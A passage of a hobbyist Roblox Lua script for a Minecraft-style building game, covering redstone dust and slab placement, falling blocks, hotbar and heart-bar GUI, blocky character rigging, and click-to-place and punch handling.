  1709. blockPlaced.CFrame = blockPlaced.CFrame * CFrame.new(0, -blockPlaced.Size.Y/2, 0)
  1710. elseif block.objectType == "Redstone Dust" then
  1711. blockPlaced.CFrame = blockPlaced.CFrame * CFrame.new(0, -1.3, 0)
  1712. blockPlaced.CanCollide = false
  1713.  
  1714. local canPlace = false
  1715.  
  1716. if isRedstone(blkMouseTarget) == true then
  1717. blockPlaced:Destroy()
  1718. return
  1719. end
  1720.  
  1721. local partBelow = getBlockAtRegion(Region3.new(
  1722. blockPlaced.CFrame.p - Vector3.new(1, 1, 1),
  1723. blockPlaced.CFrame.p + Vector3.new(1, 1, 1)
  1724. ))
  1725.  
  1726. if partBelow then
  1727. local targetObjType = partBelow:FindFirstChild("ObjectType")
  1728. if targetObjType then
  1729. if targetObjType.Value == "Block" then
  1730. canPlace = true
  1731. end
  1732. end
  1733. end
  1734.  
  1735. if canPlace == false then
  1736. blockPlaced:Destroy()
  1737. return
  1738. end
  1739.  
  1740. local leftSide = nil
  1741. local rightSide = nil
  1742. local frontSide = nil
  1743. local backSide = nil
  1744.  
  1745. local Point1 = blockPlaced.CFrame.p - Vector3.new(2.6, 0.1, 2.6)
  1746. local Point2 = blockPlaced.CFrame.p + Vector3.new(2.6, 0.1, 2.6)
  1747. local Region = Region3.new(Point1, Point2)
  1748. for _,part in pairs(game.Workspace:FindPartsInRegion3(
  1749. Region,
  1750. nil,
  1751. math.huge
  1752. )) do
  1753. local objType = part:FindFirstChild("ObjectType")
  1754. if isRedstone(part) then
  1755.  
  1756. local side = getSideByLocationRedstone(blockPlaced.CFrame.p - part.CFrame.p)
  1757. if side == "Left" then
  1758. leftSide = part
  1759. elseif side == "Right" then
  1760. rightSide = part
  1761. elseif side == "Front" then
  1762. frontSide = part
  1763. elseif side == "Back" then
  1764. backSide = part
  1765. elseif side == "Left Top" then
  1766. leftSide = part
  1767. elseif side == "Right Top" then
  1768. rightSide = part
  1769. elseif side == "Front Top" then
  1770. frontSide = part
  1771. elseif side == "Back Top" then
  1772. backSide = part
  1773. elseif side == "Left Bottom" then
  1774. leftSide = part
  1775. elseif side == "Right Bottom" then
  1776. rightSide = part
  1777. elseif side == "Front Bottom" then
  1778. frontSide = part
  1779. elseif side == "Back Bottom" then
  1780. backSide = part
  1781. end
  1782.  
  1783.  
  1784. --if getSideByLocation(cFPos.p - part.CFrame.p) then
  1785. -- local texture = part:FindFirstChild(side1)
  1786. -- if texture then
  1787. -- texture.Transparency = 1
  1788. -- end
  1789. --end
  1790. --[[local side2 = getSideByLocation(part.CFrame.p - cFPos.p)
  1791. if getSideByLocation(cFPos.p - part.CFrame.p) then
  1792. local texture = blockPlaced:FindFirstChild(side2)
  1793. if texture then
  1794. texture.Transparency = 1
  1795. end
  1796. end]]
  1797. end
  1798. end
  1799.  
  1800. updateRedstoneDust(blockPlaced, leftSide, rightSide, nil, nil, frontSide, backSide, true)
  1801.  
  1802. --local partBelow = getBlockAtRegion(Region3.new(
  1803. -- blockPlaced.CFrame.p - Vector3.new(1, 1, 1),
  1804. -- blockPlaced.CFrame.p + Vector3.new(1, 1, 1)
  1805. --))
  1806. end
  1807.  
  1808. if Mouse.Target.Name == block.name then
  1809. local targetObjType = Mouse.Target:FindFirstChild("ObjectType")
  1810. if targetObjType then
  1811. if targetObjType.Value == "Slab" then
  1812. local side = Mouse.TargetSurface.Name --getSideByLocation(Mouse.Target.Position - cFPos.p)
  1813. if side == "Bottom" or side == "Top" then
  1814. Mouse.Target.Size = Mouse.Target.Size * Vector3.new(1, 2, 1)
  1815. Mouse.Target.CFrame = Mouse.Target.CFrame * CFrame.new(0, blockPlaced.Size.Y/2, 0)
  1816.  
  1817. targetObjType.Value = "Block"
  1818.  
  1819. blockPlaced:Destroy()
  1820. return
  1821. end
  1822. end
  1823. end
  1824. end
  1825.  
  1826. local Point1 = cFPos.p - Vector3.new(2.7, 2.7, 2.7)
  1827. local Point2 = cFPos.p + Vector3.new(2.7, 2.7, 2.7)
  1828. local Region = Region3.new(Point1, Point2)
  1829. for _,part in pairs(game.Workspace:FindPartsInRegion3(
  1830. Region,
  1831. nil,
  1832. math.huge
  1833. )) do
  1834. local objType = part:FindFirstChild("ObjectType")
  1835. if part:FindFirstChild("IsBlock") and objType then
  1836. local doNothing = false
  1837. if objType.Value == "Slab" or block.objectType == "Slab" then doNothing = true end
  1838. if part.Name == blockPlaced.Name and doNothing == false then
  1839. local side1 = getSideByLocation(cFPos.p - part.CFrame.p)
  1840. if getSideByLocation(cFPos.p - part.CFrame.p) then
  1841. local texture = part:FindFirstChild(side1)
  1842. if texture then
  1843. texture.Transparency = 1
  1844. end
  1845. end
  1846. local side2 = getSideByLocation(part.CFrame.p - cFPos.p)
  1847. if getSideByLocation(cFPos.p - part.CFrame.p) then
  1848. local texture = blockPlaced:FindFirstChild(side2)
  1849. if texture then
  1850. texture.Transparency = 1
  1851. end
  1852. end
  1853. end
  1854. end
  1855. end
  1856.  
  1857.  
  1858. local isBlock = Instance.new("CFrameValue", blockPlaced)
  1859. isBlock.Name = "IsBlock"
  1860.  
  1861. if block.hasGravity == true then
  1862. local connectedTo = Instance.new("ObjectValue", blockPlaced)
  1863. connectedTo.Name = "ConnectedTo"
  1864. blockPlaced.Anchored = false
  1865. blockPlaced.CanCollide = false
  1866. local detector = Instance.new("Part", workspace:WaitForChild("Camera"))
  1867. detector.Transparency = 1
  1868. detector.CanCollide = false
  1869. detector.Size = Vector3.new(1, 0, 1)
  1870. local weldDetector = Instance.new("Motor6D", detector)
  1871. weldDetector.Part0 = detector
  1872. weldDetector.Part1 = blockPlaced
  1873. weldDetector.C1 = CFrame.new(0, -blockPlaced.Size.Y/2, 0)
  1874. local landed = false
  1875. local function fallingBlock()
  1876. coroutine.resume(coroutine.create(function()
  1877. local falling = blockPlaced:FindFirstChild("IsFalling") or Instance.new("CFrameValue", blockPlaced)
  1878. falling.Name = "IsFalling"
  1879. local grav = 0
  1880. while RS:wait() do
  1881. if landed then falling:Destroy() break end
  1882. grav = math.max(-1, grav - 0.0025)
  1883. --blockPlaced.CFrame = CFrame.new(cFPos.X, blockPlaced.CFrame.Y + grav, cFPos.Z)
  1884. end
  1885. end))
  1886. end
  1887. fallingBlock()
  1888. detector.Touched:connect(function(part)
  1889. if blockPlaced.Anchored == false and part ~= blockPlaced and part.Name ~= "Debris" and part:FindFirstChild("IsFalling") == nil and findHumanoid(part) == nil then
  1890. landed = true
  1891. blockPlaced.CanCollide = true
  1892. blockPlaced.Velocity = Vector3.new(0, 0, 0)
  1893. blockPlaced.Anchored = true
  1894. connectedTo.Value = part
  1895. local yOrigin = part.CFrame.Y + (blockPlaced.Size.Y/2) + (part.Size.Y/2)
  1896. blockPlaced.CFrame = CFrame.new(cFPos.X, yOrigin, cFPos.Z)
  1897. --detector:Destroy()
  1898. local falling = false
  1899. part.Changed:connect(function()
  1900. if part.Position.Y ~= yOrigin and falling == false then
  1901. falling = true
  1902. wait(0.075)
  1903. landed = false
  1904. blockPlaced.Anchored = false
  1905. blockPlaced.CanCollide = false
  1906. blockPlaced.Velocity = Vector3.new(0, 0, 0)
  1907. fallingBlock()
  1908. falling = false
  1909. end
  1910. end)
  1911. workspace.ChildRemoved:connect(function()
  1912. --print("hi")
  1913. if connectedTo.Value.Parent == nil and falling == false then
  1914. falling = true
  1915. landed = false
  1916. blockPlaced.Anchored = false
  1917. blockPlaced.CanCollide = false
  1918. blockPlaced.Velocity = Vector3.new(0, 0, 0)
  1919. fallingBlock()
  1920. end
  1921. end)
  1922. end
  1923. end)
  1924. end
  1925.  
  1926. local blockSound = Instance.new("Sound", blockPlaced)
  1927. blockSound.SoundId = block.sound
  1928. blockSound.Volume = block.soundVol
  1929. blockSound.Pitch = math.random(95, 105)/100
  1930. blockSound.PlayOnRemove = true
  1931. blockSound:Play()
  1932. return blockPlaced
  1933. end
  1934. end
  1935. if player then
  1936. local char = player.Character
  1937. if char then
  1938. for _,cM in pairs(char:GetChildren()) do
  1939. if cM.ClassName == "CharacterMesh" then cM:Destroy() end
  1940. end
  1941.  
  1942. --[]
  1943. local gui = player.PlayerGui:FindFirstChild("ToolBar") or Instance.new("ScreenGui", player.PlayerGui)
  1944. gui.Name = "ToolBar"
  1945.  
  1946. makeSquare(UDim2.new(0.5, -166, 1, -111), UDim2.new(0, 364, 0, 2),
  1947. Color3.new(0/255, 0/255, 0/255), 0, gui)
  1948. makeSquare(UDim2.new(0.5, -166, 1, -111 + 42), UDim2.new(0, 364, 0, 2),
  1949. Color3.new(0/255, 0/255, 0/255), 0, gui)
  1950. makeSquare(UDim2.new(0.5, -166, 1, -111), UDim2.new(0, 2, 0, 44),
  1951. Color3.new(0/255, 0/255, 0/255), 0, gui)
  1952. makeSquare(UDim2.new(0.5, -166 + 362, 1, -111), UDim2.new(0, 2, 0, 44),
  1953. Color3.new(0/255, 0/255, 0/255), 0, gui)
  1954.  
  1955. for i = 1, 9 do
  1956. if toolBar[i] ~= nil then
  1957. local img = putToolBarSlot(UDim2.new(0.5, -160 + ((i-1)*40), 1, -105), toolBar[i].frontTex)
  1958. coroutine.resume(coroutine.create(function()
  1959. while wait() do
  1960. if toolBar[i] ~= nil then
  1961. if toolBar[i].displayTex == "" then
  1962. img.Image = toolBar[i].frontTex
  1963. else
  1964. img.Image = toolBar[i].displayTex
  1965. end
  1966. else
  1967. img.Image = ""
  1968. end
  1969. end
  1970. end))
  1971. else
  1972. local img = putToolBarSlot(UDim2.new(0.5, -160 + ((i-1)*40), 1, -105), "")
  1973. coroutine.resume(coroutine.create(function()
  1974. while wait() do
  1975. if toolBar[i] ~= nil then
  1976. if toolBar[i].displayTex == "" then
  1977. img.Image = toolBar[i].frontTex
  1978. else
  1979. img.Image = toolBar[i].displayTex
  1980. end
  1981. else
  1982. img.Image = ""
  1983. end
  1984. end
  1985. end))
  1986. end
  1987. end
  1988.  
  1989. local creativeInventoryGUI = makeInventory()
  1990.  
  1991. local humRootPart = char:WaitForChild("HumanoidRootPart")
  1992. local head = char:WaitForChild("Head")
  1993. local torso = char:WaitForChild("Torso")
  1994. local lArm = char:WaitForChild("Left Arm")
  1995. local rArm = char:WaitForChild("Right Arm")
  1996. local lLeg = char:WaitForChild("Left Leg")
  1997. local rLeg = char:WaitForChild("Right Leg")
  1998.  
  1999. local humanoid = char:WaitForChild("Humanoid")
  2000. char.Humanoid:ClearAllChildren()
  2001. humanoid.HipHeight = 0.3
  2002. humanoid.AutoRotate = false
  2003.  
  2004. -- Heart bar
  2005. local hpFrame = makeSquare(UDim2.new(0.5, -166, 1, -130), UDim2.new(0, 162, 0, 18),
  2006. Color3.new(0/255, 0/255, 0/255), 1, gui, 1)
  2007.  
  2008. local hearts = makeSquare(UDim2.new(0, 0, 0, 0), UDim2.new(0, 162, 0, 18),
  2009. Color3.new(0/255, 0/255, 0/255), 1, hpFrame, 1)
  2010. hearts.ClipsDescendants = true
  2011.  
  2012. for i = 1, 10 do
  2013. local heartImg = makeImage(UDim2.new(0, (i-1)*16, 0, 0), UDim2.new(0, 18, 0, 18),
  2014. "rbxassetid://1494233443", hearts, 2)
  2015.  
  2016. makeSquare(UDim2.new(0, 4, 0, 4), UDim2.new(0, 2, 0, 2),
  2017. Color3.new(255/255, 200/255, 200/255), 0, heartImg, 2)
  2018.  
  2019. heartImg.ImageColor3 = Color3.new(240/255, 0, 0)
  2020.  
  2021. local emptyHeart = makeImage(UDim2.new(0, (i-1)*16, 0, 0), UDim2.new(0, 18, 0, 18),
  2022. "rbxassetid://1494233443", hpFrame, 1)
  2023. emptyHeart.ImageColor3 = Color3.new(0.3, 0.3, 0.3)
  2024.  
  2025. local outline = makeImage(UDim2.new(0, 0, 0, 0), UDim2.new(0, 18, 0, 18),
  2026. "rbxassetid://1494176679", emptyHeart, 1)
  2027. outline.ImageColor3 = Color3.new(0, 0, 0)
  2028.  
  2029. local oldHP = humanoid.Health/humanoid.MaxHealth --SnapToGrid((humanoid.Health/humanoid.MaxHealth)*162, 8)
  2030. humanoid.Changed:connect(function()
  2031. local hp = humanoid.Health/humanoid.MaxHealth --SnapToGrid((humanoid.Health/humanoid.MaxHealth)*162, 8)
  2032. if SnapToGrid(oldHP*162, 8) < SnapToGrid(hp*162, 8) then
  2033. outline.ImageColor3 = Color3.new(1, 1, 1)
  2034. wait(0.1)
  2035. outline.ImageColor3 = Color3.new(0, 0, 0)
  2036. wait(0.1)
  2037. end
  2038. if oldHP > hp then
  2039. for i = 1, 2 do
  2040. outline.ImageColor3 = Color3.new(1, 1, 1)
  2041. wait(0.1)
  2042. outline.ImageColor3 = Color3.new(0, 0, 0)
  2043. wait(0.1)
  2044. end
  2045. end
  2046. oldHP = hp
  2047. end)
  2048. coroutine.resume(coroutine.create(function()
  2049. local yIncrease = 0
  2050. local originalY = emptyHeart.Position.Y.Offset
  2051.  
  2052. while wait() do
  2053. if humanoid.Health/humanoid.MaxHealth <= 0.27 then
  2054. if yIncrease <= 0 then
  2055. yIncrease = math.random(1, 2)
  2056. else
  2057. yIncrease = yIncrease - 1
  2058. end
  2059.  
  2060. heartImg.Position = UDim2.new(0, heartImg.Position.X.Offset, 0, -yIncrease)
  2061. emptyHeart.Position = UDim2.new(0, emptyHeart.Position.X.Offset, 0, -yIncrease)
  2062. else
  2063. if yIncrease >= 1 then
  2064. yIncrease = yIncrease - 1
  2065.  
  2066. heartImg.Position = UDim2.new(0, heartImg.Position.X.Offset, 0, -yIncrease)
  2067. emptyHeart.Position = UDim2.new(0, emptyHeart.Position.X.Offset, 0, -yIncrease)
  2068. end
  2069. end
  2070. end
  2071. end))
  2072. end
  2073.  
  2074. humanoid.Parent = nil
  2075.  
  2076. if char:FindFirstChild("Animate") then
  2077. char.Animate:Remove()
  2078. end
  2079.  
  2080. head.Size = Vector3.new(1.3, 1.3, 1.3)
  2081. putTexture(head, "rbxassetid://38738031", "rbxassetid://36047330",
  2082. "rbxassetid://36047341", "rbxassetid://36047347",
  2083. "rbxassetid://36047323", "rbxassetid://36047315", "Decal")
  2084. head:WaitForChild("Mesh"):Destroy()
  2085. head:WaitForChild("face"):Destroy()
  2086.  
  2087. torso.Size = Vector3.new(1.3, 1.95, 0.65)
  2088. putTexture(torso, "rbxassetid://38934753", "rbxassetid://38934731",
  2089. "rbxassetid://38934780", "rbxassetid://38934740",
  2090. "rbxassetid://38934762", "rbxassetid://38934762", "Decal")
  2091.  
  2092. lArm.Size = Vector3.new(0.65, 1.95, 0.65)
  2093. putTexture(lArm, "rbxassetid://38934581", "rbxassetid://38934560",
  2094. "rbxassetid://38934613", "rbxassetid://38934568",
  2095. "rbxassetid://38934601", "rbxassetid://38934591", "Decal")
  2096.  
  2097. rArm.Size = Vector3.new(0.65, 1.95, 0.65)
  2098. putTexture(rArm, "rbxassetid://38934560", "rbxassetid://38934581",
  2099. "rbxassetid://38934613", "rbxassetid://38934568",
  2100. "rbxassetid://38934601", "rbxassetid://38934591", "Decal")
  2101.  
  2102. lLeg.Size = Vector3.new(0.65, 1.95, 0.65)
  2103. putTexture(lLeg, "rbxassetid://38936226", "rbxassetid://38936209",
  2104. "rbxassetid://38934719", "rbxassetid://38934712",
  2105. "rbxassetid://38936255", "rbxassetid://38936242", "Decal")
  2106.  
  2107. rLeg.Size = Vector3.new(0.65, 1.95, 0.65)
  2108. putTexture(rLeg, "rbxassetid://38936209", "rbxassetid://38936226",
  2109. "rbxassetid://38934719", "rbxassetid://38934712",
  2110. "rbxassetid://38936242", "rbxassetid://38936255", "Decal")
  2111.  
  2112. -- now for the real stuff
  2113. -- |
  2114. -- |
  2115. -- V
  2116. Instance.new("BlockMesh", torso)
  2117. Instance.new("BlockMesh", lArm)
  2118. Instance.new("BlockMesh", rArm)
  2119. Instance.new("BlockMesh", lLeg)
  2120. Instance.new("BlockMesh", rLeg)
  2121.  
  2122. local camera = workspace.Camera
  2123.  
  2124. local camPart = Instance.new("Part", camera)
  2125. camPart.Size = Vector3.new(0, 0, 0)
  2126. camPart.CFrame = camera.CFrame
  2127. camPart.CanCollide = false
  2128. camPart.Anchored = true
  2129. camPart.Transparency = 1
  2130.  
  2131. local cameraHand = Instance.new("Part", camera)
  2132. cameraHand.Size = Vector3.new(0.65, 1.95, 0.65)
  2133. cameraHand.CanCollide = false
  2134. cameraHand.Anchored = true
  2135. cameraHand.Name = "CameraHand"
  2136. putTexture(cameraHand, "rbxassetid://38934560", "rbxassetid://38934581",
  2137. "rbxassetid://38934613", "rbxassetid://38934568",
  2138. "rbxassetid://38934601", "rbxassetid://38934591", "Decal")
  2139.  
  2140. local cameraHandItem = Instance.new("Part", camera)
  2141. cameraHandItem.Name = "CameraHandItem"
  2142. cameraHandItem.Size = Vector3.new(1.1, 1.1, 1.1)
  2143. cameraHandItem.Anchored = true
  2144. cameraHandItem.CanCollide = false
  2145. cameraHandItem.Transparency = 1
  2146.  
  2147. -- welding doesn't really work.
  2148. --local cameraHandWeld = Instance.new("Motor6D", camPart)
  2149. --cameraHandWeld.Part0 = camPart
  2150. --cameraHandWeld.Part1 = cameraHand
  2151. --cameraHandWeld.C0 = CFrame.new(5, 0, 0)
  2152.  
  2153. local rootJoint = torso:FindFirstChild("RootJoint") or Instance.new("Motor6D", torso)
  2154. rootJoint.Name = "RootJoint"
  2155. rootJoint.Part0 = humRootPart
  2156. rootJoint.Part1 = torso
  2157. rootJoint.C1 = CFrame.new(0, 0.05, 0)
  2158.  
  2159. local neck = torso:FindFirstChild("Neck") or Instance.new("Motor6D", torso)
  2160. neck.Name = "Neck"
  2161. neck.Part0 = head
  2162. neck.Part1 = torso
  2163.  
  2164. local lS = torso:FindFirstChild("Left Shoulder") or Instance.new("Motor6D", torso)
  2165. lS.Name = "Left Shoulder"
  2166. lS.Part0 = lArm
  2167. lS.Part1 = torso
  2168. lS.C0 = CFrame.new(-0.325, 0.975, 0) * CFrame.Angles(0, 0, 0)
  2169. lS.C1 = CFrame.new(0.65, 0.975, 0)
  2170.  
  2171. local rS = torso:FindFirstChild("Right Shoulder") or Instance.new("Motor6D", torso)
  2172. rS.Name = "Right Shoulder"
  2173. rS.Part0 = rArm
  2174. rS.Part1 = torso
  2175. rS.C0 = CFrame.new(-0.325, 0.975, 0) * CFrame.Angles(0, 0, 0)
  2176. rS.C1 = CFrame.new(-0.65, 0.975, 0) * CFrame.Angles(0, -math.rad(180), 0)
  2177.  
  2178. local lH = torso:FindFirstChild("Left Hip") or Instance.new("Motor6D", torso)
  2179. lH.Name = "Left Hip"
  2180. lH.Part0 = lLeg
  2181. lH.Part1 = torso
  2182. lH.C0 = CFrame.new(0, 0.975, 0)
  2183. lH.C1 = CFrame.new(0.325, -0.975, 0) * CFrame.Angles(0, 0, 0)
  2184.  
  2185. local rH = torso:FindFirstChild("Right Hip") or Instance.new("Motor6D", torso)
  2186. rH.Name = "Right Hip"
  2187. rH.Part0 = rLeg
  2188. rH.Part1 = torso
  2189. rH.C0 = CFrame.new(0, 0.975, 0)
  2190. rH.C1 = CFrame.new(-0.325, -0.975, 0) * CFrame.Angles(0, -math.rad(180), 0)
  2191.  
  2192. for _,p in pairs(char:GetChildren()) do
  2193. if p.Name ~= "HumanoidRootPart" and p.ClassName == "Part" then
  2194. local hit = Instance.new("Part", char)
  2195. hit.Name = "DamagePart"
  2196. hit.BrickColor = BrickColor.new("Bright red")
  2197. hit.Material = "SmoothPlastic"
  2198. hit.Transparency = 1
  2199. hit.Size = Vector3.new(p.Size.X + 0.05, p.Size.Y + 0.05, p.Size.Z + 0.05)
  2200. hit.CanCollide = false
  2201. weldTo(hit, p)
  2202. end
  2203. end
  2204.  
  2205. wait(0.25)
  2206.  
  2207. -- local billNameTag = Instance.new("BillboardGui", char)
  2208. -- billNameTag.Size = UDim2.new(1, 0, 1, 0)
  2209. -- billNameTag.Adornee = head
  2210. -- billNameTag.PlayerToHideFrom = player
  2211. --
  2212. -- local textLabel = Instance.new("TextLabel", billNameTag)
  2213. -- textLabel.Font = "Arcade"
  2214. -- --textLabel.Size = UDim2.new(1, 0, 1, 0)
  2215. -- textLabel.TextScaled = true
  2216. -- --textLabel.TextSize = 100
  2217. -- textLabel.Text = targetName
  2218. -- textLabel.Size = UDim2.new(textLabel.TextBounds.X/100, 0, 0.75, 0)
  2219. -- textLabel.BorderSizePixel = 0
  2220. -- textLabel.BackgroundColor3 = Color3.new(0, 0, 0)
  2221. -- textLabel.TextColor3 = Color3.new(1, 1, 1)
  2222. -- textLabel.BackgroundTransparency = 0.5
  2223. --
  2224. -- if textLabel.Text == "Depr1" then
  2225. -- textLabel.TextColor3 = Color3.new(1, 0.75, 0)
  2226. -- end
  2227. --
  2228. -- billNameTag.SizeOffset = Vector2.new(-textLabel.TextBounds.X/200 + 0.5, 0)
  2229. -- billNameTag.StudsOffset = Vector3.new(0, 1.5, 0)
  2230.  
  2231.  
  2232. humanoid.Parent = char
  2233.  
  2234. local ticks = 0
  2235. local times = 0
  2236.  
  2237. local walkAnim = 0
  2238. local increaseWalkAnim = 1
  2239.  
  2240. local idleAnimRotX = 0
  2241. local idleAnimRotZ = 0
  2242. local sneaking = 0
  2243.  
  2244. --local RS = game:GetService("RunService").RenderStepped
  2245. local Mouse = player:GetMouse()
  2246.  
  2247. local oldHP = humanoid.Health
  2248. local damageTime = 0
  2249.  
  2250. local punchRotX = 0
  2251. local punchRotY = 0
  2252. local punchRotZ = 0
  2253. local punchRotXcam = 0
  2254. local punchRotYcam = 0
  2255. local punchRotZcam = 0
  2256. local punchSpeed = 0
  2257. local punching = 0
  2258. local selectedBlock = 8
  2259. local punchEnded = 1
  2260. local itemOnHand = nil
  2261.  
  2262. local selectBox = Instance.new("SelectionBox", camera)
  2263. selectBox.Transparency = 0.5
  2264. selectBox.Color3 = Color3.new(0, 0, 0)
  2265. selectBox.LineThickness = 0
  2266.  
  2267. local handItem = Instance.new("Part", char)
  2268. handItem.Name = "HandItem"
  2269. handItem.Size = Vector3.new(0.52, 0.52, 0.52)
  2270. handItem.Transparency = 1
  2271. handItem.CanCollide = false
  2272.  
  2273. local handItemWeld = Instance.new("Weld", char)
  2274. handItemWeld.Part0 = handItem
  2275. handItemWeld.Part1 = lArm
  2276. handItemWeld.C1 = CFrame.new(0, -0.9, -0.6) * CFrame.Angles(math.rad(-10), math.rad(45), 0)
  2277.  
  2278. local sound = Instance.new("Sound", char)
  2279. sound.Name = "Hurt"
  2280. sound.Volume = 10
  2281. sound.SoundId = "rbxassetid://535690488"
  2282.  
  2283. local facesToResize = {"Front", "Back", "Left", "Right", "Bottom", "Top"}
  2284.  
  2285. local camCurrentZoom = (camera.CFrame.p - head.Position).magnitude
  2286. Mouse.Button1Down:connect(function()
  2287. if punchEnded == 1 then punching = 1 end
  2288. if Mouse.Target then
  2289. if getDistance(head.CFrame.p, Mouse.Hit.p) <= 10.4 then
  2290. local humanoid = Mouse.Target.Parent:FindFirstChild("Humanoid")
  2291. if humanoid then
  2292. humanoid.Health = humanoid.Health - 10
  2293. local parts = Mouse.Target.Parent:GetChildren()
  2294. for _,p in pairs(parts) do
  2295. if p.ClassName == "Part" then
  2296. p.Velocity = Vector3.new(p.Velocity.X + (head.CFrame.lookVector.X * 18), p.Velocity.Y + (head.CFrame.lookVector.Y * 18) + 8, p.Velocity.Z + (head.CFrame.lookVector.Z * 18))
  2297. end
  2298. end
  2299. return
  2300. end
  2301. local x = Mouse.Target.CFrame.p.X
  2302. local y = Mouse.Target.CFrame.p.Y
  2303. local z = Mouse.Target.CFrame.p.Z
  2304. if Mouse.TargetSurface.Name == "Right" then x = x + 2.6 end
  2305. if Mouse.TargetSurface.Name == "Left" then x = x - 2.6 end
  2306. if Mouse.TargetSurface.Name == "Top" then y = y + 2.6 end
  2307. if Mouse.TargetSurface.Name == "Bottom" then y = y - 2.6 end
  2308. if Mouse.TargetSurface.Name == "Back" then z = z + 2.6 end
  2309. if Mouse.TargetSurface.Name == "Front" then z = z - 2.6 end
  2310. if Mouse.Target.Size.X > 2.6 or Mouse.Target.Size.Y > 2.6 or Mouse.Target.Size.Z > 2.6 then
  2311. x = Mouse.Hit.p.X
  2312. y = Mouse.Hit.p.Y
  2313. z = Mouse.Hit.p.Z
  2314. end
  2315. -- local x = round(math.abs(mouseX)/2.6)*2.6
  2316. -- local y = round(math.abs(mouseY)/2.6)*2.6
  2317. -- local z = round(math.abs(mouseZ)/2.6)*2.6
  2318. -- if Mouse.Hit.p.X < 0 then x = x * -1 end
  2319. -- if Mouse.Hit.p.Y < 0 then y = y * -1 end
  2320. -- if Mouse.Hit.p.Z < 0 then z = z * -1 end
  2321. local blk = placeBlock(toolBar[selectedBlock + 1], CFrame.new(SnapToGrid(x, 2.6), SnapToGrid(y, 2.6), SnapToGrid(z, 2.6)), Mouse)
  2322. if blk then
  2323. for _,f in pairs(facesToResize) do
  2324. blk:WaitForChild(f).StudsPerTileU = 2.6
  2325. blk:WaitForChild(f).StudsPerTileV = 2.6
  2326. end
  2327. end
  2328. end
  2329. end
  2330. end)
  2331.  
  2332. local changedItem = false
  2333. local hasItemOnHand = 0
  2334. local hi = 0
  2335. -- selection thingy
  2336. local selectLabel = Instance.new("TextLabel", gui)
  2337. selectLabel.Size = UDim2.new(0, 32, 0, 32)
  2338. selectLabel.Position = UDim2.new(0.5, -160 + (selectedBlock*40), 1, -105)
  2339. selectLabel.BackgroundTransparency = 1
  2340. selectLabel.BackgroundColor3 = Color3.new(1, 1, 1)
  2341. selectLabel.BorderSizePixel = 0
  2342. selectLabel.Text = ""
  2343. selectLabel.ZIndex = 3
  2344.  
  2345. makeSquare(UDim2.new(0, -2, 0, 0), UDim2.new(0, 2, 0, 32),
  2346. Color3.new(88/255, 102/255, 85/255), 0, selectLabel, 3)
  2347. makeSquare(UDim2.new(0, -2, 0, -2), UDim2.new(0, 32, 0, 2),
  2348. Color3.new(88/255, 102/255, 85/255), 0, selectLabel, 3)
  2349. makeSquare(UDim2.new(0, -2, 0, 32), UDim2.new(0, 36, 0, 2),
  2350. Color3.new(212/255, 231/255, 207/255), 0, selectLabel, 3)
  2351. makeSquare(UDim2.new(0, 32, 0, 0), UDim2.new(0, 2, 0, 32),
  2352. Color3.new(212/255, 231/255, 207/255), 0, selectLabel, 3)
  2353. makeSquare(UDim2.new(0, 34, 0, -4), UDim2.new(0, 2, 0, 40),
  2354. Color3.new(163/255, 180/255, 159/255), 0, selectLabel, 3)
  2355. makeSquare(UDim2.new(0, -4, 0, -4), UDim2.new(0, 2, 0, 40),
  2356. Color3.new(163/255, 180/255, 159/255), 0, selectLabel, 3)
  2357. makeSquare(UDim2.new(0, -4, 0, -4), UDim2.new(0, 40, 0, 2),
  2358. Color3.new(163/255, 180/255, 159/255), 0, selectLabel, 3)
  2359. makeSquare(UDim2.new(0, 32, 0, -2), UDim2.new(0, 2, 0, 2),
  2360. Color3.new(163/255, 180/255, 159/255), 0, selectLabel, 3)
  2361. makeSquare(UDim2.new(0, -4, 0, 34), UDim2.new(0, 40, 0, 2),
  2362. Color3.new(163/255, 180/255, 159/255), 0, selectLabel, 3)
  2363. makeSquare(UDim2.new(0, -6, 0, -6), UDim2.new(0, 2, 0, 42),
  2364. Color3.new(212/255, 231/255, 207/255), 0, selectLabel, 3)
  2365. makeSquare(UDim2.new(0, -6, 0, -6), UDim2.new(0, 42, 0, 2),
  2366. Color3.new(212/255, 231/255, 207/255), 0, selectLabel, 3)
  2367. makeSquare(UDim2.new(0, 36, 0, -4), UDim2.new(0, 2, 0, 40),
  2368. Color3.new(88/255, 102/255, 85/255), 0, selectLabel, 3)
  2369. makeSquare(UDim2.new(0, 36, 0, -6), UDim2.new(0, 2, 0, 2),
  2370. Color3.new(163/255, 180/255, 159/255), 0, selectLabel, 3)
  2371. makeSquare(UDim2.new(0, 38, 0, -6), UDim2.new(0, 2, 0, 44),
  2372. Color3.new(0/255, 0/255, 0/255), 0.3, selectLabel, 3)
  2373. makeSquare(UDim2.new(0, -8, 0, -6), UDim2.new(0, 2, 0, 44),
  2374. Color3.new(0/255, 0/255, 0/255), 0.3, selectLabel, 3)
  2375. makeSquare(UDim2.new(0, -8, 0, -8), UDim2.new(0, 48, 0, 2),
  2376. Color3.new(0/255, 0/255, 0/255), 0, selectLabel, 3)
  2377. --
  2378. local oldItemOnHand = itemOnHand
  2379. function updateItemOnHand()
  2380. for _,d in pairs(handItem:GetChildren()) do
  2381. d:Destroy()
  2382. end
  2383. for _,d in pairs(cameraHandItem:GetChildren()) do
  2384. d:Destroy()
  2385. end
  2386. if itemOnHand ~= nil then
  2387. putTexture(handItem, itemOnHand.frontTex, itemOnHand.backTex,
  2388. itemOnHand.topTex, itemOnHand.bottomTex,
  2389. itemOnHand.leftTex, itemOnHand.rightTex, "Texture")
  2390.  
  2391. putTexture(cameraHandItem, itemOnHand.frontTex, itemOnHand.backTex,
  2392. itemOnHand.topTex, itemOnHand.bottomTex,
  2393. itemOnHand.leftTex, itemOnHand.rightTex, "Texture")
  2394.  
  2395. for _,f in pairs(facesToResize) do
  2396. handItem:WaitForChild(f).StudsPerTileU = 0.52
  2397. handItem:WaitForChild(f).StudsPerTileV = 0.52
  2398. end
  2399.  
  2400. for _,f in pairs(facesToResize) do
  2401. cameraHandItem:WaitForChild(f).StudsPerTileU = 1.1
  2402. cameraHandItem:WaitForChild(f).StudsPerTileV = 1.1
  2403. end
  2404.  
  2405. cameraHand.Transparency = 1
  2406. for _,f in pairs(facesToResize) do
  2407. cameraHand:WaitForChild(f).Transparency = 1
  2408. cameraHand:WaitForChild(f).Transparency = 1
  2409. end
  2410. else
  2411. cameraHand.Transparency = 0
  2412. for _,f in pairs(facesToResize) do
  2413. cameraHand:WaitForChild(f).Transparency = 0
  2414. cameraHand:WaitForChild(f).Transparency = 0
